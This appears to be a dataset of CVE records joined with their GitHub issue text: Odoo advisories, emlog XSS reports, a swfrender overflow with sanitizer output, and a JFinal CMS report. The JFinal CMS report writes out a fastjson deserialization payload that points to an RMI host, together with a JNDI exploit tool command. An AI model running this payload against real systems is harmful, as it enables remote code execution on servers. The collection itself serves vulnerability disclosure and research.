cve_id
stringlengths 13
16
| cve_published
stringlengths 23
23
| cve_descriptions
stringlengths 48
2.08k
| cve_metrics
dict | cve_references
listlengths 1
138
| cve_configurations
listlengths 1
39
| url
stringlengths 37
77
| cve_tags
sequencelengths 1
4
⌀ | domain
stringclasses 1
value | issue_owner_repo
sequencelengths 2
2
| issue_body
stringlengths 0
88.6k
⌀ | issue_title
stringlengths 3
335
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
146
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 104M
2.09B
| issue_number
int64 1
122k
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2021-44547 | 2023-04-25T19:15:09.843 | A sandboxing issue in Odoo Community 15.0 and Odoo Enterprise 15.0 allows authenticated administrators to executed arbitrary code, leading to privilege escalation. | {
"cvssMetricV2": null,
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"version": "3.0"
},
"exploitabilityScore": 2.3,
"impactScore": 5.8,
"source": "[email protected]",
"type": "Secondary"
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/odoo/odoo/issues/107696"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:community:*:*:*",
"matchCriteriaId": "C5B912BD-1FB4-418A-9CE3-FBE0903D70BA",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:enterprise:*:*:*",
"matchCriteriaId": "2BFAF5BD-20F9-402C-B7EB-4E0294A572AE",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/odoo/odoo/issues/107696 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-44547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44547)
**Affects**: Odoo 15.0 (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44547)
**Component**: Core
**Credits**: Stephane Debauche
A sandboxing issue in Odoo Community 15.0 and Odoo Enterprise 15.0
allows authenticated administrators to executed arbitrary code,
leading to privilege escalation.
## I. Background
The framework includes a rendering engine for the QWeb templating language.
## II. Problem Description
A programming error in the QWeb rendering engine of Odoo 15.0 made some
sensitive interfaces available to the template code.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Administrator or privileged account required
**CVSS3 Score**: High :: 8.7
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
An attacker with administrator or high privileges on a database may
upload a crafted QWeb template and use it to execute arbitrary Python
code, leading to privilege escalation on the hosting server itself.
This may be used to access any local files available to the system
user executing the Odoo service, or to modify files and execute
processes.
This would generally only be a concern on multi-tenant systems, where
administrators may not be trusted.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 15.0: https://github.com/odoo/odoo/commit/96b09b127028e5c9a83c89acce86e1b6df904c6f
- 15.0-ent (Enterprise): see 15.0
| [SEC] CVE-2021-44547 - A sandboxing issue in Odoo Community 15.0 and... | https://api.github.com/repos/odoo/odoo/issues/107696/comments | 0 | 2022-12-10T23:00:48Z | 2022-12-10T23:00:49Z | https://github.com/odoo/odoo/issues/107696 | 1,489,087,347 | 107,696 |
CVE-2021-44775 | 2023-04-25T19:15:09.903 | Cross-site scripting (XSS) issue in Website app of Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to inject arbitrary web script in the browser of a victim, by posting crafted contents. | {
"cvssMetricV2": null,
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.0"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Secondary"
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/odoo/odoo/issues/107691"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5399"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:community:*:*:*",
"matchCriteriaId": "C5B912BD-1FB4-418A-9CE3-FBE0903D70BA",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:enterprise:*:*:*",
"matchCriteriaId": "2BFAF5BD-20F9-402C-B7EB-4E0294A572AE",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/odoo/odoo/issues/107691 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-44775](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44775)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44775](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44775)
**Component**: Website
**Credits**: Holger Brunn (Therp BV)
Cross-site scripting (XSS) issue in Website app of Odoo Community 15.0 and
earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to
inject arbitrary web script in the browser of a victim, by posting crafted
contents.
## I. Background
Iframes can be inserted into a website page via the website editor. This allows
to embed external content such as videos into a forum question.
## II. Problem Description
Improper content validation allowed to inject arbitrary web script code in the
iframe definition that would be executed by the visitor of the page.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account required (including portal users)
**CVSS3 Score**: Medium :: 6.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
An attacker might insert malicious code into a page that will be executed by
another user visiting the page.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/384d67b9736787be96c834f2bf28bf935d610b10
- 14.0: https://github.com/odoo/odoo/commit/74532a0839b57337cc26ffc66b2884039e68f23b
- 15.0: https://github.com/odoo/odoo/commit/88ab30b970cf55b35555b693d714765fb3e9081d
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-44775 - Cross-site scripting (XSS) issue in Website a... | https://api.github.com/repos/odoo/odoo/issues/107691/comments | 0 | 2022-12-10T23:00:39Z | 2022-12-10T23:00:40Z | https://github.com/odoo/odoo/issues/107691 | 1,489,087,157 | 107,691 |
CVE-2021-45071 | 2023-04-25T19:15:09.963 | Cross-site scripting (XSS) issue Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier, allows remote attackers to inject arbitrary web script in the browser of a victim, via crafted uploaded file names. | {
"cvssMetricV2": null,
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.0"
},
"exploitabilityScore": 1.6,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Secondary"
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/odoo/odoo/issues/107697"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5399"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:community:*:*:*",
"matchCriteriaId": "C5B912BD-1FB4-418A-9CE3-FBE0903D70BA",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:enterprise:*:*:*",
"matchCriteriaId": "2BFAF5BD-20F9-402C-B7EB-4E0294A572AE",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/odoo/odoo/issues/107697 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-45071](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45071)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-45071](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45071)
**Component**: Core
**Credits**: Lauri Vakkala, Anıl Yüksel, Agustin Maio and Johannes Moritz (Cure53)
Cross-site scripting (XSS) issue Odoo Community 15.0 and earlier and
Odoo Enterprise 15.0 and earlier, allows remote attackers to inject
arbitrary web script in the browser of a victim, via crafted uploaded
file names.
## I. Background
The Odoo framework includes a generic component for uploading files, known
as the "binary field widget".
## II. Problem Description
A problem in the sanitization of the uploaded file name in the binary field
widget made a cross-site scripting attack possible.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account not necessarily required
**CVSS3 Score**: Medium :: 5.3
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N)
Depending on the modules/apps installed in a database, some screens may use
the default binary field widget. If an attacker is able to control the contents
of this field, directly or indirectly (e.g. via email), they trigger the
execution of arbitrary web script (XSS) on the browser of the victim.
This may allow them to escalate privileges by triggering malicious actions by
a privileged victim, or to capture sensitive data.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/b9ae627e3bfc489cbce4d07fffc0faacdf10fd2f
- 14.0: https://github.com/odoo/odoo/commit/609b6503af97af5cf00ff497760f71cd71860c48
- 15.0: https://github.com/odoo/odoo/commit/9f8da7bb48861a07a8fdd7897d3bdb1917c0d0ab
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-45071 - Cross-site scripting (XSS) issue Odoo Communi... | https://api.github.com/repos/odoo/odoo/issues/107697/comments | 0 | 2022-12-10T23:00:50Z | 2022-12-10T23:00:51Z | https://github.com/odoo/odoo/issues/107697 | 1,489,087,376 | 107,697 |
CVE-2021-45111 | 2023-04-25T19:15:10.020 | Improper access control in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote authenticated users to trigger the creation of demonstration data, including user accounts with known credentials. | {
"cvssMetricV2": null,
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"version": "3.0"
},
"exploitabilityScore": 2.8,
"impactScore": 4.2,
"source": "[email protected]",
"type": "Secondary"
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.2,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/odoo/odoo/issues/107683"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5399"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:community:*:*:*",
"matchCriteriaId": "C5B912BD-1FB4-418A-9CE3-FBE0903D70BA",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:odoo:odoo:*:*:*:*:enterprise:*:*:*",
"matchCriteriaId": "2BFAF5BD-20F9-402C-B7EB-4E0294A572AE",
"versionEndExcluding": null,
"versionEndIncluding": "15.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/odoo/odoo/issues/107683 | [
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-45111](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45111)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-45111](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45111)
**Component**: Core
**Credits**: Nils Hamerlinck (Trobz), Yenthe Van Ginneken
Improper access control in Odoo Community 15.0 and earlier and Odoo
Enterprise 15.0 and earlier allows remote authenticated users to trigger
the creation of demonstration data, including user accounts with known
credentials.
## I. Background
To be able to quickly demonstrate features, demonstration data can be added to
an existing Odoo instance. This creates fake employees, products and other
demonstration data.
## II. Problem Description
This feature could be triggered by any user instead of only administrators.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Employee / Portal user account required
**CVSS3 Score**: High :: 7.1
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
A malicious low priviledge user (including portal user accounts) on an Odoo
database might install demonstration data and use this as a way to gain
access to restricted data or features.
Odoo S.A. is not aware of any use of this vulnerability in the wild but any case
would result on a new user "demo" being created.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/2df06fef46d358db9c74c00da5684110073c494c
- 14.0: https://github.com/odoo/odoo/commit/d326153e016f93c22f40ad8fb146bb4108bb94dc
- 15.0: https://github.com/odoo/odoo/commit/d326153e016f93c22f40ad8fb146bb4108bb94dc
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-45111 - Improper access control in Odoo Community 15.... | https://api.github.com/repos/odoo/odoo/issues/107683/comments | 0 | 2022-12-10T23:00:25Z | 2022-12-10T23:00:26Z | https://github.com/odoo/odoo/issues/107683 | 1,489,086,907 | 107,683 |
CVE-2023-30349 | 2023-04-27T14:15:09.320 | JFinal CMS v5.1.0 was discovered to contain a remote code execution (RCE) vulnerability via the ActionEnter function. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/jflyfox/jfinal_cms/issues/54"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jflyfox:jfinal_cms:5.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "9B33E946-BD15-449C-B736-013773A64DF6",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jflyfox/jfinal_cms/issues/54 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"jflyfox",
"jfinal_cms"
] | jfinal_cms version:5.1.0
JDK version : jdk-8u351
The ActionEnter class is instantiated in the index method of the /ueditor route

The ConfigManager class is instantiated in the constructor of the ActionEnter class

The construction method of ConfigManager calls initEnv()

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

Run the tool on kali
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
```

payload:
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
"autoCommit":true
}
}
```

Replace with payload
Visit /ueditor, execute the command to pop up the calculator

| jfinal CMS v5.1.0 has a command execution vulnerability exists | https://api.github.com/repos/jflyfox/jfinal_cms/issues/54/comments | 5 | 2023-02-10T07:03:59Z | 2024-01-07T08:18:27Z | https://github.com/jflyfox/jfinal_cms/issues/54 | 1,579,105,443 | 54 |
CVE-2023-30338 | 2023-04-27T15:15:13.787 | Multiple stored cross-site scripting (XSS) vulnerabilities in Emlog Pro v2.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Article Title or Article Summary parameters. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/emlog/emlog/issues/229"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emlog:emlog:2.0.3:*:*:*:pro:*:*:*",
"matchCriteriaId": "5B872763-766F-478B-BA9C-97A85DC372F5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/emlog/emlog/issues/229 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"emlog",
"emlog"
] | **Version(latest version)**
emlog_pro_2.0.3
**Actual behavior**
XSS vulnerabilities
**Steps to reproduce the behavior**
1.There is a stored xss in the article writing. The article body(文章正文) and article summary(文章摘要) has the vulnerability.
在写文章功能点,文章正文以及文章摘要处存在存储型xss


Go to the home page, the xss payload in article summary will be triggered first.
访问emlog首页,会先触发文章摘要中的xss

And after click the article, the xss in article body will be triggered.
之后点击该文章,会触发文章正文的xss

2. The vulnerability is in resources --> add resource classification, the classification name has the xss.
在资源-->添加资源分类中,分类名称存在xss漏洞


After add a new resource classification, upload a file at will, then the vulnerability will be triggered, and it works when reloading the `/admin/media.php` page
在新创建的资源分类下,上传任意图片,即可触发xss,并且重新加载`/admin/media.php`页面时也会触发xss


3.And there is also a xss in home page bottom information.
在首页底部信息处存在存储性xss

Save the settings, and go to home page.
保存设置后,访问主页,触发xss

| XSS vulnerabilities in pro2.0.3 | https://api.github.com/repos/emlog/emlog/issues/229/comments | 2 | 2023-03-31T02:58:46Z | 2023-10-27T04:26:32Z | https://github.com/emlog/emlog/issues/229 | 1,648,589,849 | 229 |
CVE-2023-29950 | 2023-04-27T20:15:40.207 | swfrender v0.9.2 was discovered to contain a heap buffer overflow in the function enumerateUsedIDs_fillstyle at modules/swftools.c | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/matthiaskramm/swftools/issues/198"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:swftools:swftools:0.9.2:*:*:*:*:*:*:*",
"matchCriteriaId": "B6149BA0-2082-45B7-9B43-CAC2F1768770",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/matthiaskramm/swftools/issues/198 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"matthiaskramm",
"swftools"
] | # 1.heap-buffer-overflow
## env
ubuntu20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
swfrender - part of swftools 0.9.2
## sample
[id7_heap-buffer-overflow.zip](https://github.com/keepinggg/poc/blob/main/poc_of_swfrender/id7_heap-buffer-overflow.zip)
## crash
```
./swfrender id7_heap-buffer-overflow -o /dev/null
==1106906==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6070000003eb at pc 0x557c2e072578 bp 0x7ffd975b4940 sp 0x7ffd975b4930
READ of size 1 at 0x6070000003eb thread T0
#0 0x557c2e072577 in enumerateUsedIDs_fillstyle modules/swftools.c:509
#1 0x557c2e0728d1 in enumerateUsedIDs_styles modules/swftools.c:565
#2 0x557c2e05c7d9 in swf_ParseShapeData modules/swfshape.c:692
#3 0x557c2e06020d in swf_ShapeToShape2 modules/swfshape.c:884
#4 0x557c2e04c298 in extractDefinitions readers/swf.c:375
#5 0x557c2e04c298 in swf_open readers/swf.c:736
#6 0x557c2e04800a in main /mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender.c:174
#7 0x7f8c197fa082 in __libc_start_main ../csu/libc-start.c:308
#8 0x557c2e046ecd in _start (/mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender+0x24ecd)
0x6070000003eb is located 0 bytes to the right of 75-byte region [0x6070000003a0,0x6070000003eb)
allocated by thread T0 here:
#0 0x7f8c19c40808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x557c2e0e4ab9 in rfx_alloc /mnt/hgfs/ubuntu/cve/swftools/swftools-master/lib/mem.c:30
SUMMARY: AddressSanitizer: heap-buffer-overflow modules/swftools.c:509 in enumerateUsedIDs_fillstyle
Shadow bytes around the buggy address:
0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0c0e7fff8030: 00 00 00 00 00 00 03 fa fa fa fa fa 00 00 00 00
0x0c0e7fff8040: 00 00 00 00 03 fa fa fa fa fa 00 00 00 00 00 00
0x0c0e7fff8050: 00 00 03 fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0e7fff8060: 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 00 04
=>0x0c0e7fff8070: fa fa fa fa 00 00 00 00 00 00 00 00 00[03]fa fa
0x0c0e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
